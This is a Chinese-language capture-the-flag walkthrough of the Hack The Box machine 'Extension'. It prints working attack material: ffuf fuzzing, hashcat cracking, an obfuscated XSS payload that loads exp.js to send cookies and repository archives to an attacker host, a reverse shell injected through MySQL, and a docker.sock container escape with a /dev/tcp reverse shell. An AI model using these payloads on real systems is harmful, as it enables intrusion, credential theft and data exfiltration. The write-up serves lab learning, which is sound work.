撞到我的枪口上的一台靶机——Extension

信息收集
这台靶机开放的端口如下:
1 | 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
绑定的域名及子域名如下:
1 | snippet.htb |
立足点
在JS代码中发现management/dump路径,接下来构建http请求报文,尝试对其字段进行爆破:
从Brup Suite中抓包,将其修改为以下内容,并存为文件requests.txt:
1 | POST http://snippet.htb/management/dump HTTP/1.1 |
接下来使用ffuf对其进行字段爆破,得到前一个字段为download
1 | ffuf -request requests.txt -request-proto http -w /usr/share/wfuzz/wordlist/general/common.txt -mc 200,400 -fr "Missing arguments" |
再将json字段的FUZZ替换为download,将bar替换为FUZZ,爆破bar字段,得到第二个字段为users
1 | ffuf -request requests.txt -request-proto http -w /usr/share/wfuzz/wordlist/general/common.txt -mc 200,400 -fr "Unknown tablename" |
哈希碰撞
从management/dump接口中,我们得到了以下密码哈希,接下来尝试对其做碰撞,找出弱密码:
1 | 30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82 |
首先,对哈希类型进行识别:
1 | hashcat "30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82" |
从结果中,我们可以看到最大可能性为SHA2-256。
接下来对其进行碰撞,得到password123
1 | hashcat -a 0 -m 1400 hashes /usr/share/wordlists/rockyou.txt |
其对应的用户名为:letha@snippet.htb,fredrick@snippet.htb,gia@snippet.htb,juliana@snippet.htb。
随便找一个用户名进行登录后,可以在这个链接里看到jean的凭据http://snippet.htb/snippets/update/2
1 | curl -XGET http://dev.snippet.htb/api/v1/users/jean/tokens -H 'accept: application/json' -H 'authorization: basic amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB' |
base64解码后,得到jean的密码:EHmfar1Y7ppA9O5TAIXnYnJpA
extension仓库
jean存在extension的仓库,代码是一个Chrome浏览器的扩展,可以把issue里的内容挂在列表里。
其中,存在问题的代码如下:
1 | function check(str) { |
上述代码存在两个问题:
- 1.去除标签的时候,没有进行递归操作,所以它只能把第一个标签替换为空字符串。
- 2.过滤的逻辑比较粗糙,可以通过大小写进行绕过。
而从仓库中,Settings -> Collaborators里发现charlie用户。
开发Exp
为了减少开发Exp的次数,我选择直接加载我们自己代码的XSS Payload。
首先第一步,构造一个动态加载js的代码:
1 | var script = document.createElement('script'); |
第二步,为了绕过过滤条件,对其进行base64编码:
1 | echo "var script=document.createElement('script');script.type = 'text/javascript';script.src= 'http://<your ip>:8888/exp.js';document.getElementsByTagName('head')[0].appendChild(script);" base64 |
第三步,找到一个满足过滤条件的XSS代码:
1 | <img SRC="x" onerror=eval.call`${"eval\x28atob`<base64 code>`\x29"}`> |
第四步,拼装,生成最终的XSS Payload:
1 | XSS payload: <test><img SRC="x" onerror=eval.call`${"eval\x28atob`<base64 code>`\x29"}`> |
第五步,创建exp.js,内容如下,并搭建http服务:
1 | fetch("http://<your_ip>/data/" + btoa(document.cookie) ); |
接下来,我们就可以在仓库中提一个Issue,把XSS的payload放进去,等待http中的内容反弹。
XSS利用
前文提到,该仓库的协同开发的是Charlie,所以,我们在改仓库提的Issue最终Charlie用户会看到,但实际上,我们没法通过document.cookie来获取Charlie用户的cookie,因为该cookie被设置为http-only。
那接下来,就要探索,如何去进一步利用XSS的漏洞了。
在http://dev.snippet.htb/api/swagger 中,我们可以看到很多API,比较有用的是http://dev.snippet.htb/api/v1/users/charlie/repos 接口。
接下来,我们修改exp.js的内容如下:
1 | fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then((rep=>{ |
从返回的结果中,可以看到Charlie用户存在一个backups的仓库。
最后,修改exp.js内容如下:
1 | fetch('http://dev.snippet.htb/charlie/backups/archive/master.zip').then((rep=>{ |
拿到backup仓库的文件,拿到Charlie用户的私钥。
横向移动
通过su横向移动至jean用户,在Project目录下发现AdminController.php在验证邮箱时存在代码执行漏洞。
从pspy中获得mysql凭据: root / toor。
通过ssh将远程3306端口转发至本地:ssh -L 127.0.0.1:3306:127.0.0.1:3306 charlie@10.10.11.171 -i id_rsa
以gia用户身份进行登录,然后通过mysql将其身份改为Manager,将kaleigh@snippet.htb用户的邮箱改为可以反弹shell的payload。
1 | mysql -u root -ptoor -h 127.0.0.1 |
接下来,对payload进行邮箱验证时,便会获得container的shell。
容器逃逸+提权
在容器内部,我们发现一个可写的docker.sock文件,所以接下来,我们可以通过curl去执行docker的一些命令。
首先,我们来看一下当前docker下有哪些image
1 | curl -s --unix-socket /app/docker.sock http://localhost/images/json |
从返回的列表中,我们以php:7.4-fpm-alpine 为例,创建一个该对象下的实例:将宿主机的根目录挂在在容器的tmp目录下,然后执行chroot,最后反弹shell。
1 | cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/<your ip>/4444 0<&1'\\\"\"]" |
创建好容器后,用以下命令启动容器:
1 | curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/gaoxiaodiao_root/start" |
接下来,从反弹的shell里拿到root的私钥。
完!